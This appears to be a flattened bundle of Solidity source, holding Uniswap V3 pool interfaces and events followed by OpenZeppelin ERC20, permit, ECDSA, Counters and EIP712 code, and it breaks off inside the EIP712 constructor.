// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that can change
/// @notice These methods compose the pool's state, and can change with any frequency including multiple times
/// per transaction
interface IUniswapV3PoolState {
/// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas
/// when accessed externally.
/// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value
/// tick The current tick of the pool, i.e. according to the last tick transition that was run.
/// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick
/// boundary.
/// observationIndex The index of the last oracle observation that was written,
/// observationCardinality The current maximum number of observations stored in the pool,
/// observationCardinalityNext The next maximum number of observations, to be updated when the observation.
/// feeProtocol The protocol fee for both tokens of the pool.
/// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0
/// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee.
/// unlocked Whether the pool is currently locked to reentrancy
function slot0()
external
view
returns (
uint160 sqrtPriceX96,
int24 tick,
uint16 observationIndex,
uint16 observationCardinality,
uint16 observationCardinalityNext,
uint8 feeProtocol,
bool unlocked
);
/// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal0X128() external view returns (uint256);
/// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal1X128() external view returns (uint256);
/// @notice The amounts of token0 and token1 that are owed to the protocol
/// @dev Protocol fees will never exceed uint128 max in either token
function protocolFees() external view returns (uint128 token0, uint128 token1);
/// @notice The currently in range liquidity available to the pool
/// @dev This value has no relationship to the total liquidity across all ticks
function liquidity() external view returns (uint128);
/// @notice Look up information about a specific tick in the pool
/// @param tick The tick to look up
/// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or
/// tick upper,
/// liquidityNet how much liquidity changes when the pool price crosses the tick,
/// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0,
/// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1,
/// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick
/// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick,
/// secondsOutside the seconds spent on the other side of the tick from the current tick,
/// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false.
/// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0.
/// In addition, these values are only relative and must be used only in comparison to previous snapshots for
/// a specific position.
function ticks(int24 tick)
external
view
returns (
uint128 liquidityGross,
int128 liquidityNet,
uint256 feeGrowthOutside0X128,
uint256 feeGrowthOutside1X128,
int56 tickCumulativeOutside,
uint160 secondsPerLiquidityOutsideX128,
uint32 secondsOutside,
bool initialized
);
/// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information
function tickBitmap(int16 wordPosition) external view returns (uint256);
/// @notice Returns the information about a position by the position's key
/// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper
/// @return _liquidity The amount of liquidity in the position,
/// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke,
/// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke,
/// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke,
/// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke
function positions(bytes32 key)
external
view
returns (
uint128 _liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
);
/// @notice Returns data about a specific observation index
/// @param index The element of the observations array to fetch
/// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time
/// ago, rather than at a specific index in the array.
/// @return blockTimestamp The timestamp of the observation,
/// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp,
/// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp,
/// Returns initialized whether the observation has been initialized and the values are safe to use
function observations(uint256 index)
external
view
returns (
uint32 blockTimestamp,
int56 tickCumulative,
uint160 secondsPerLiquidityCumulativeX128,
bool initialized
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that is not stored
/// @notice Contains view functions to provide information about the pool that is computed rather than stored on the
/// blockchain. The functions here may have variable gas costs.
interface IUniswapV3PoolDerivedState {
/// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp
/// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing
/// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick,
/// you must call it with secondsAgos = [3600, 0].
/// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in
/// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio.
/// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned
/// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp
/// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block
/// timestamp
function observe(uint32[] calldata secondsAgos)
external
view
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);
/// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range
/// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed.
/// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first
/// snapshot is taken and the second snapshot is taken.
/// @param tickLower The lower tick of the range
/// @param tickUpper The upper tick of the range
/// @return tickCumulativeInside The snapshot of the tick accumulator for the range
/// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range
/// @return secondsInside The snapshot of seconds per liquidity for the range
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Permissionless pool actions
/// @notice Contains pool methods that can be called by anyone
interface IUniswapV3PoolActions {
/// @notice Sets the initial price for the pool
/// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value
/// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96
function initialize(uint160 sqrtPriceX96) external;
/// @notice Adds liquidity for the given recipient/tickLower/tickUpper position
/// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback
/// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends
/// on tickLower, tickUpper, the amount of liquidity, and the current price.
/// @param recipient The address for which the liquidity will be created
/// @param tickLower The lower tick of the position in which to add liquidity
/// @param tickUpper The upper tick of the position in which to add liquidity
/// @param amount The amount of liquidity to mint
/// @param data Any data that should be passed through to the callback
/// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback
/// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external returns (uint256 amount0, uint256 amount1);
/// @notice Collects tokens owed to a position
/// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity.
/// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or
/// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the
/// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity.
/// @param recipient The address which should receive the fees collected
/// @param tickLower The lower tick of the position for which to collect fees
/// @param tickUpper The upper tick of the position for which to collect fees
/// @param amount0Requested How much token0 should be withdrawn from the fees owed
/// @param amount1Requested How much token1 should be withdrawn from the fees owed
/// @return amount0 The amount of fees collected in token0
/// @return amount1 The amount of fees collected in token1
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
/// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position
/// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0
/// @dev Fees must be collected separately via a call to #collect
/// @param tickLower The lower tick of the position for which to burn liquidity
/// @param tickUpper The upper tick of the position for which to burn liquidity
/// @param amount How much liquidity to burn
/// @return amount0 The amount of token0 sent to the recipient
/// @return amount1 The amount of token1 sent to the recipient
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external returns (uint256 amount0, uint256 amount1);
/// @notice Swap token0 for token1, or token1 for token0
/// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback
/// @param recipient The address to receive the output of the swap
/// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0
/// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative)
/// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this
/// value after the swap. If one for zero, the price cannot be greater than this value after the swap
/// @param data Any data to be passed through to the callback
/// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive
/// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external returns (int256 amount0, int256 amount1);
/// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback
/// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback
/// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling
/// with 0 amount{0,1} and sending the donation amount(s) from the callback
/// @param recipient The address which will receive the token0 and token1 amounts
/// @param amount0 The amount of token0 to send
/// @param amount1 The amount of token1 to send
/// @param data Any data to be passed through to the callback
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
/// @notice Increase the maximum number of price and liquidity observations that this pool will store
/// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to
/// the input observationCardinalityNext.
/// @param observationCardinalityNext The desired minimum number of observations for the pool to store
function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Permissioned pool actions
/// @notice Contains pool methods that may only be called by the factory owner
interface IUniswapV3PoolOwnerActions {
/// @notice Set the denominator of the protocol's % share of the fees
/// @param feeProtocol0 new protocol fee for token0 of the pool
/// @param feeProtocol1 new protocol fee for token1 of the pool
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external;
/// @notice Collect the protocol fee accrued to the pool
/// @param recipient The address to which collected protocol fees should be sent
/// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1
/// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0
/// @return amount0 The protocol fee collected in token0
/// @return amount1 The protocol fee collected in token1
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Events emitted by a pool
/// @notice Contains all events emitted by the pool
interface IUniswapV3PoolEvents {
/// @notice Emitted exactly once by a pool when #initialize is first called on the pool
/// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize
/// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96
/// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool
event Initialize(uint160 sqrtPriceX96, int24 tick);
/// @notice Emitted when liquidity is minted for a given position
/// @param sender The address that minted the liquidity
/// @param owner The owner of the position and recipient of any minted liquidity
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity minted to the position range
/// @param amount0 How much token0 was required for the minted liquidity
/// @param amount1 How much token1 was required for the minted liquidity
event Mint(
address sender,
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted when fees are collected by the owner of a position
/// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees
/// @param owner The owner of the position for which fees are collected
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount0 The amount of token0 fees collected
/// @param amount1 The amount of token1 fees collected
event Collect(
address indexed owner,
address recipient,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount0,
uint128 amount1
);
/// @notice Emitted when a position's liquidity is removed
/// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect
/// @param owner The owner of the position for which liquidity is removed
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity to remove
/// @param amount0 The amount of token0 withdrawn
/// @param amount1 The amount of token1 withdrawn
event Burn(
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted by the pool for any swaps between token0 and token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the output of the swap
/// @param amount0 The delta of the token0 balance of the pool
/// @param amount1 The delta of the token1 balance of the pool
/// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96
/// @param liquidity The liquidity of the pool after the swap
/// @param tick The log base 1.0001 of price of the pool after the swap
event Swap(
address indexed sender,
address indexed recipient,
int256 amount0,
int256 amount1,
uint160 sqrtPriceX96,
uint128 liquidity,
int24 tick
);
/// @notice Emitted by the pool for any flashes of token0/token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the tokens from flash
/// @param amount0 The amount of token0 that was flashed
/// @param amount1 The amount of token1 that was flashed
/// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee
/// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee
event Flash(
address indexed sender,
address indexed recipient,
uint256 amount0,
uint256 amount1,
uint256 paid0,
uint256 paid1
);
/// @notice Emitted by the pool for increases to the number of observations that can be stored
/// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index
/// just before a mint/swap/burn.
/// @param observationCardinalityNextOld The previous value of the next observation cardinality
/// @param observationCardinalityNextNew The updated value of the next observation cardinality
event IncreaseObservationCardinalityNext(
uint16 observationCardinalityNextOld,
uint16 observationCardinalityNextNew
);
/// @notice Emitted when the protocol fee is changed by the pool
/// @param feeProtocol0Old The previous value of the token0 protocol fee
/// @param feeProtocol1Old The previous value of the token1 protocol fee
/// @param feeProtocol0New The updated value of the token0 protocol fee
/// @param feeProtocol1New The updated value of the token1 protocol fee
event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New);
/// @notice Emitted when the collected protocol fees are withdrawn by the factory owner
/// @param sender The address that collects the protocol fees
/// @param recipient The address that receives the collected protocol fees
/// @param amount0 The amount of token0 protocol fees that is withdrawn
/// @param amount0 The amount of token1 protocol fees that is withdrawn
event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../../utils/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over `owner`'s tokens,
* given `owner`'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return recover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../math/SafeMath.sol";
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
// Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) {
bytes32 hashedName = keccak256(bytes(name));
